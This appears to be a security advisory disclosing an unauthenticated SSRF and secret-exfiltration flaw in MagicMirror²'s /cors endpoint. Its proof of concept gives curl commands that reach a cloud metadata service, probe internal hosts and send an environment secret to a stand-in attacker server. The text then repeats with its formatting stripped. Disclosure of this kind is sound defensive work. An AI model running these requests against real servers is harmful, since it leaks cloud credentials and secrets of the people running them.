Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the /cors endpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.
Details
The /cors endpoint in js/server_functions.js (function cors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side via fetch() and the full response is returned to the caller.
Additionally, the replaceSecretPlaceholder() function (lines 21-25) expands any **VARIABLE_NAME** pattern in the URL with the corresponding process.env value before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).
Vulnerable code path:
GET /cors?url=<attacker-controlled-url>
→ replaceSecretPlaceholder(url) // expands **ENV_VAR** → process.env.ENV_VAR
→ fetch(url) // no validation, no blocklist
→ response returned to attacker // full body, status, headers
Key issues:
- No authentication required
- No URL validation or blocklist for private/reserved IP ranges
- No restriction on URL scheme or destination
- Environment variable expansion in URL before fetch
PoC
Prerequisites: a running MagicMirror² instance accessible on the network (default: http://<host>:8080).
1. Basic SSRF — access cloud metadata (AWS IMDSv1):
curl "http://<target>:8080/cors?url=http://169.254.169.254/latest/meta-data/"
If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
2. Internal network scanning:
curl "http://<target>:8080/cors?url=http://192.168.1.1/"
curl "http://<target>:8080/cors?url=http://127.0.0.1:3000/"
The attacker can probe internal services by observing response status codes and timing.
3. Environment variable exfiltration:
curl "http://<target>:8080/cors?url=http://<attacker-server>/?leak=**SECRET_API_KEY**"
The server expands **SECRET_API_KEY** to the value of process.env.SECRET_API_KEY before making the request, sending the secret to the attacker-controlled server as a query parameter.
Impact
- Cloud deployments (AWS/GCP/Azure): full compromise of cloud instance credentials via metadata service (169.254.169.254), potentially leading to lateral movement within the cloud account
- Internal network access: the server becomes a proxy to scan and interact with services on internal networks that are not directly reachable by the attacker
- Secret exfiltration: environment variables containing API keys, database credentials, or other sensitive configuration are directly readable
- Affected users: anyone running MagicMirror² exposed to an untrusted network (including LAN). The
/cors endpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerability
References
Summary
An unauthenticated Server-Side Request Forgery (SSRF) vulnerability in the
/corsendpoint allows any remote attacker to force the MagicMirror² server to perform arbitrary HTTP requests to internal networks, cloud metadata services, and localhost services. The endpoint also expands environment variable placeholders (**VAR_NAME**), enabling exfiltration of server-side secrets.Details
The
/corsendpoint injs/server_functions.js(functioncors(), lines 37-78) acts as an open HTTP proxy with no authentication and no URL validation. Any user-supplied URL is fetched server-side viafetch()and the full response is returned to the caller.Additionally, the
replaceSecretPlaceholder()function (lines 21-25) expands any**VARIABLE_NAME**pattern in the URL with the correspondingprocess.envvalue before the request is made, allowing an attacker to exfiltrate environment variables (e.g. API keys, tokens, database credentials).Vulnerable code path:
Key issues:
PoC
Prerequisites: a running MagicMirror² instance accessible on the network (default:
http://<host>:8080).1. Basic SSRF — access cloud metadata (AWS IMDSv1):
If the server runs on AWS EC2 without IMDSv2 enforcement, this returns instance metadata including IAM role credentials.
2. Internal network scanning:
The attacker can probe internal services by observing response status codes and timing.
3. Environment variable exfiltration:
The server expands
**SECRET_API_KEY**to the value ofprocess.env.SECRET_API_KEYbefore making the request, sending the secret to the attacker-controlled server as a query parameter.Impact
/corsendpoint requires no authentication, so any host that can reach the MagicMirror HTTP port can exploit this vulnerabilityReferences